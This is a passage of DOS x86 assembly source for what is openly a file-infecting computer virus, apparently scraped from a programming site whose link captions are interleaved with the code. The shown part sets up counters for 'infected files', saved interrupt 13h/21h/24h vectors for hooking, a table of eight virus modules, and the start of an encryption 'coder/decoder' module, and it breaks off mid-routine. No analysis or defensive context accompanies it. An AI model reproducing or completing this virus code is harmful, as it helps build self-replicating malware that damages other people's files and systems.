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assume cs:code,ds:code 【程序编程相关:汇编（十一）——位操作类指令】
code segment 【推荐阅读:缓冲区溢出(一)】
org 100 【扩展信息:利用NameValueCollectio】
.radix 16
start:
push word ptr cs:[table+2]
push cs
pop ds
jmp word ptr cs:[table] ;go to module 1
curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ;size of infected file
ftime dw ?
fdate dw ?
stdint21 dd ?
oldint13 dd ?
oldint21 dd ?
oldint24 dd ?
;------------- table with module parameters --------------------
table:
dw offset false_mod_1 ;00
dw offset mod_2 ;02
dw offset mod_3 ;04
dw offset mod_4 ;06 ;offset modules
dw offset mod_5 ;08
dw offset mod_6 ;0a
dw offset mod_7 ;0c
dw offset mod_8 ;0e
dw offset mod_2 - offset mod_1;10
dw offset mod_3 - offset mod_2;12
dw offset mod_4 - offset mod_3;14
dw offset mod_5 - offset mod_4;16
dw offset mod_6 - offset mod_5;18 ;size modules
dw offset mod_7 - offset mod_6;1a
dw offset mod_8 - offset mod_7;1c
dw offset myend - offset mod_8;1e
;------------- module - 1 - coder/decoder ----------------------
mod_1:
mov bx,offset table+2 ;first module to working (module 2)
mov cx,6 ;number of modules to working
mod_1_lp1:
cmp bx,offset table+0a
jne mod_1_cont
add bx,2
mod_1_cont:
push bx
push cx
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